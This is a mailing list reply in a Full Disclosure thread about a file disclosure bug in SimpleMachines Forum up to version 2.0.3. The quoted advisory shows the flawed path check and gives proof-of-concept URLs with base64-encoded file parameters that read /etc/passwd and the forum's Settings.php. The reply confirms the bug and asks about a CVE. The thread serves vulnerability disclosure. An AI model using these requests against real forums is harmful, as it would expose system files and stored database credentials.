Full Disclosure mailing list archives
Re: File Disclosure in SimpleMachines Forum <= 2.0.3
From: Carlos Alberto Lopez Perez <clopez () igalia com>
Date: Tue, 08 Jan 2013 14:24:53 +0100
On 07/01/13 15:54, WHK Yan wrote:
*Summary:* -------------- A security flaw allows an attacker to know the full source file of the web system. *Details: ----------- Sources/ManageErrors.php Line 340: // Make sure the file we are looking for is one they are allowed to look at if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false))) fatal_lang_error('error_bad_file', true, array(htmlspecialchars($file))); Bypass function strpos($file, '../'), no need "../", example: /home/foo/www/Settings.php *PoC: ------- http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q= Read /etc/passwd works with path disclosure for read Settings.php: http://whk.drawcoders.net/index.php/topic,2792.0.html *Reproduce: 1. Open http://example.com/forumpath/SSI.php?ssi_function=fetchPosts 2. Get full path of web app ( /home/1337/public_html/SSI.php ). 3. Exploit in base64: http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA= To read /home/spadmin/public_html/Settings.php Referer and Mirror: ------------------------- http://whk.drawcoders.net/index.php/topic,2805.0.html _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Hi! I have verified SMF is affected by this issue. The PoC requires an admin login to be exploited. Is there any possibility to exploit this issue without an admin login? I guess a CVE should be assigned. Do you already asked for one?
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Current thread:
- File Disclosure in SimpleMachines Forum <= 2.0.3 WHK Yan (Jan 08)
- Re: File Disclosure in SimpleMachines Forum <= 2.0.3 Carlos Alberto Lopez Perez (Jan 08)
- Re: File Disclosure in SimpleMachines Forum <= 2.0.3 WHK Yan (Jan 10)
- Re: File Disclosure in SimpleMachines Forum <= 2.0.3 Carlos Alberto Lopez Perez (Jan 08)